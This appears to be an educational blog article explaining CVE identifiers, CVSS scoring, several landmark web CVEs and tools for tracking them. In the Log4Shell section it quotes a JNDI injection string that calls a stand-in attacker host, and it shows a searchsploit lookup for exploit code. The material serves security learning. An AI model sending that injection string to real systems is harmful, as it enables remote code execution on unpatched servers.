What a CVE actually is

CVE stands for Common Vulnerabilities and Exposures. It's a standardised identifier for publicly known security vulnerabilities. Each CVE gets a unique ID in the format CVE-YEAR-NUMBER — for example, CVE-2021-44228 is Log4Shell. The year tells you when it was assigned (not necessarily when it was discovered or patched), and the number is just a sequential counter.

The CVE system is managed by MITRE Corporation under a US government contract. The actual database is maintained by NIST at the National Vulnerability Database (NVD) — that's where you'll find the full descriptions, affected versions, and CVSS scores.

What a CVE is not: it's not a proof-of-concept exploit, not a patch, and not a complete technical analysis. It's a reference identifier that lets everyone — vendors, security teams, scanners, researchers — talk about the same vulnerability without ambiguity.

How a CVE gets assigned

Not everyone can create a CVE. They're assigned by CVE Numbering Authorities (CNAs). There are hundreds of CNAs now — major software vendors like Microsoft, Google, and Apple are CNAs for their own products. So when Google finds a Chrome bug, they assign the CVE themselves. For vulnerabilities in products without a dedicated CNA, MITRE handles assignment directly.

Bug bounty researchers and security firms can request CVE assignment after responsible disclosure and vendor confirmation. The process usually takes a few weeks — or much longer if the vendor is slow to respond.

CVSS scoring — what those numbers actually mean

Every CVE in the NVD gets a CVSS score, currently on version 3.1 (CVSSv3.1). The score runs 0.0 to 10.0 and is calculated from a base vector string like:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

That's Log4Shell. Breaking it down: AV:N means network-accessible, AC:L means low attack complexity, PR:N means no privileges required, UI:N means no user interaction, S:C means scope changed (can affect other components), and C/I/A all High means full confidentiality, integrity, and availability impact. Combined: 10.0 — maximum severity.

The CVSS score has real limitations though. It's a base score that doesn't account for whether a patch exists, whether exploit code is public, or how exposed your specific deployment is. A 9.8 CVSS on a service you don't run is less urgent than a 6.5 on something internet-facing with no auth.

Web security CVEs worth knowing

Some CVEs have become landmarks in web security. Understanding these isn't just trivia — they illustrate entire vulnerability classes.

CVE-2021-44228 — Log4Shell

Remote code execution via JNDI injection in Apache Log4j2. Triggered by logging attacker-controlled input containing a ${jndi:ldap://attacker.com/a} string. Affected virtually every Java application logging with Log4j 2.x. CVSS 10.0. The reason it was so catastrophic: logging frameworks process input you'd never think to sanitise — HTTP headers, user-agents, form fields. The attack surface was enormous.

CVE-2017-5638 — Apache Struts2 (Equifax breach)

Remote code execution via Content-Type header in the Jakarta Multipart parser. Sending a malformed Content-Type caused the Struts2 framework to execute arbitrary OGNL expressions. CVSS 10.0. The reason you know about this one: it was exploited in the Equifax breach, compromising 147 million records. The patch existed for months before the breach — patch management failure, not zero-day.

CVE-2022-22965 — Spring4Shell

Data binding vulnerability in Spring Framework. An attacker with Java 9+ could bind HTTP request parameters to internal class properties, achieving RCE. Got a lot of hype initially due to superficial similarity to Log4Shell, but exploitation required specific conditions (JDK 9+, deployed as WAR on Tomcat). CVSS 9.8, but real-world impact was narrower.

CVE-2019-11043 — PHP-FPM RCE

A bug in PHP-FPM when combined with specific nginx configurations. A crafted URL with %0a characters could manipulate the PATH_INFO environment variable and trigger RCE. Real-world impact was limited to specific nginx + PHP-FPM configurations but it's a good example of how environment configuration shapes exploitability.

How to track CVEs for your projects

There are a few practical approaches depending on your context.

For dependency scanning: Trivy, Grype, and Snyk all cross-reference your package manifest against CVE databases automatically. Running Trivy as a CI pipeline step gives you CVE reports on every build. Trivy's --ignore-unfixed flag filters to only CVEs with available patches — otherwise you're blocking builds on issues with no fix yet.

For staying current: the NVD RSS feed is too noisy for most people. More useful: subscribe to CVE feeds for specific software you use, follow vendor security advisories directly, and set up GitHub Dependabot on your repos. For high-severity web CVEs, Twitter/X security researchers often post working PoCs within hours of disclosure — useful for urgency assessment.

For pentesting and bug bounty: CVE databases are directly useful for identifying known-vulnerable versions. If you find a server running Apache 2.4.49, check the NVD — CVE-2021-41773 is a path traversal/RCE that made a lot of bug bounty hunters very happy. searchsploit on Kali cross-references ExploitDB by CVE:

searchsploit CVE-2021-41773

CVE vs vulnerability — the distinction that matters

Not every vulnerability has a CVE. CVEs exist for publicly disclosed vulnerabilities in products used by multiple organisations. Vulnerabilities you find in custom web apps during a pentest don't get CVEs — they get a finding in your report. Vulnerabilities in open-source libraries that maintainers silently fix without disclosure sometimes get CVEs retroactively, sometimes never.

When you're doing web application pentesting, most of what you find is application-specific (broken auth, IDOR, injection in custom queries) — those won't have CVEs. CVEs are most relevant when you're exploiting known-vulnerable versions of frameworks, libraries, or server software.

Bottom line

CVEs are a reference system, not a vulnerability database in the intelligence sense. They're useful for: identifying known-vulnerable components during pentests, tracking patch urgency, communicating findings with vendors in a standard format, and understanding the historical vulnerability landscape for a technology. Learning to read CVE entries, parse CVSS vectors, and find associated PoC code is a core skill — it's one of the first things you do when you discover a potentially-vulnerable component on an engagement.